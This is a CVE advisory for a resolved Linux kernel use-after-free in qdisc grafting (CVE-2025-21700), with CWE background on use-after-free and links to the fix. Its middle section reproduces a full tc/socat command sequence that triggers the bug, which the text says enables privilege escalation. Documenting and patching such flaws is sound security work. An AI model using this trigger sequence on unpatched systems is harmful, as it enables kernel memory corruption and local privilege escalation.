CVE-2025-21700

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script

Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr

step3. a class for nesting tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr

step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7. tc class add dev lo classid 3:1 drr

step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.

Step 12. send one packet to plug echo | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1

The semantics of replace is for a del/add on the same node and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could fix with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of disallow such config.

Joint work with Lion Ackermann nnamrec@gmail.com

Weakness

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Affected Software

Extended Description

The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system’s reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process. If the newly allocated data happens to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

Potential Mitigations

References

• https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
• https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
• https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
• https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f
• https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf